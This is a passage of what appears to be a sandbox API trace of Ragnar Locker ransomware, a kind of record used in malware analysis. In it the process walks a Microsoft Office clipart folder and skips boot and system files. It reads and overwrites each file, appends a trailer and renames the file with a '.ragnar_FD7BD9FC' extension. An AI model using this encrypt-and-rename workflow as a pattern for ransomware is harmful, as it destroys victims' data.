ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00014_.WMF", cAlternateFileName="")) returned 1 [0092.530] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.530] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00014_.WMF" | out: lpString1="TN00014_.WMF") returned="TN00014_.WMF" [0092.530] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF") returned=".WMF" [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="autorun.inf") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="boot.ini") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="bootfont.bin") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="bootsect.bak") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="bootmgr") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="bootmgr.efi") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="desktop.ini") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="iconcache.db") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="ntldr") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="ntuser.dat") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="ntuser.ini") returned 1 [0092.530] lstrcmpiW (lpString1="TN00014_.WMF", lpString2="thumbs.db") returned 1 [0092.530] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.530] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.530] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.530] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.530] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.530] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.530] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf")) returned 0x20 [0092.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.531] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7518) returned 1 [0092.531] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.531] GetProcessHeap () returned 0x580000 [0092.531] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.531] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.533] VirtualAlloc (lpAddress=0x0, dwSize=0x1d5e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.533] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.533] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d5e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d5e, lpOverlapped=0x0) returned 1 [0092.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.534] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d5e, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.534] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d5e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d5e, lpOverlapped=0x0) returned 1 [0092.534] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d5e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.534] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d5e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.534] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.534] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.534] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.535] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.535] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.535] GetProcessHeap () returned 0x580000 [0092.535] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.535] CloseHandle (hObject=0xf4) returned 1 [0092.535] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" [0092.535] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.ragnar_FD7BD9FC" [0092.535] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.536] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x243c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00018_.WMF", cAlternateFileName="")) returned 1 [0092.536] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.536] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00018_.WMF" | out: lpString1="TN00018_.WMF") returned="TN00018_.WMF" [0092.536] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF") returned=".WMF" [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="autorun.inf") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="boot.ini") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="bootfont.bin") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="bootsect.bak") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="bootmgr") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="bootmgr.efi") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="desktop.ini") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="iconcache.db") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="ntldr") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="ntuser.dat") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="ntuser.ini") returned 1 [0092.536] lstrcmpiW (lpString1="TN00018_.WMF", lpString2="thumbs.db") returned 1 [0092.536] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.536] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.536] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.536] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.536] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.536] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.536] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf")) returned 0x20 [0092.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.537] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9276) returned 1 [0092.537] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2433, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.537] GetProcessHeap () returned 0x580000 [0092.537] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.537] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.541] VirtualAlloc (lpAddress=0x0, dwSize=0x243c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.541] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x243c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x243c, lpOverlapped=0x0) returned 1 [0092.542] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.542] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x243c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.542] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x243c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x243c, lpOverlapped=0x0) returned 1 [0092.543] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x243c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.543] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.543] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x243c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.543] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.543] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.543] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.543] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.543] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.543] GetProcessHeap () returned 0x580000 [0092.543] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.543] CloseHandle (hObject=0xf4) returned 1 [0092.543] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" [0092.543] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.ragnar_FD7BD9FC" [0092.543] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.544] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00095_.WMF", cAlternateFileName="")) returned 1 [0092.544] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.544] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00095_.WMF" | out: lpString1="TN00095_.WMF") returned="TN00095_.WMF" [0092.544] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF") returned=".WMF" [0092.544] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.544] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="autorun.inf") returned 1 [0092.544] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="boot.ini") returned 1 [0092.544] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="bootfont.bin") returned 1 [0092.544] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="bootsect.bak") returned 1 [0092.544] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="bootmgr") returned 1 [0092.544] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="bootmgr.efi") returned 1 [0092.544] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.544] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="desktop.ini") returned 1 [0092.545] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="iconcache.db") returned 1 [0092.545] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="ntldr") returned 1 [0092.545] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="ntuser.dat") returned 1 [0092.545] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.545] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="ntuser.ini") returned 1 [0092.545] lstrcmpiW (lpString1="TN00095_.WMF", lpString2="thumbs.db") returned 1 [0092.545] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.545] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.545] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.545] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.545] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.545] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.545] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf")) returned 0x20 [0092.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.546] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5978) returned 1 [0092.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1751, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.546] GetProcessHeap () returned 0x580000 [0092.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.546] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.548] VirtualAlloc (lpAddress=0x0, dwSize=0x175a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.548] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.548] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.548] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x175a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x175a, lpOverlapped=0x0) returned 1 [0092.549] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.549] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x175a, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.549] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x175a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x175a, lpOverlapped=0x0) returned 1 [0092.549] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x175a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.549] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.549] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x175a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.549] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.549] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.549] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.549] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.549] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.549] GetProcessHeap () returned 0x580000 [0092.550] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.550] CloseHandle (hObject=0xf4) returned 1 [0092.550] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" [0092.550] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.ragnar_FD7BD9FC" [0092.550] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.550] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c9af00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53c9af00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00211_.WMF", cAlternateFileName="")) returned 1 [0092.550] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.550] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00211_.WMF" | out: lpString1="TN00211_.WMF") returned="TN00211_.WMF" [0092.550] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF") 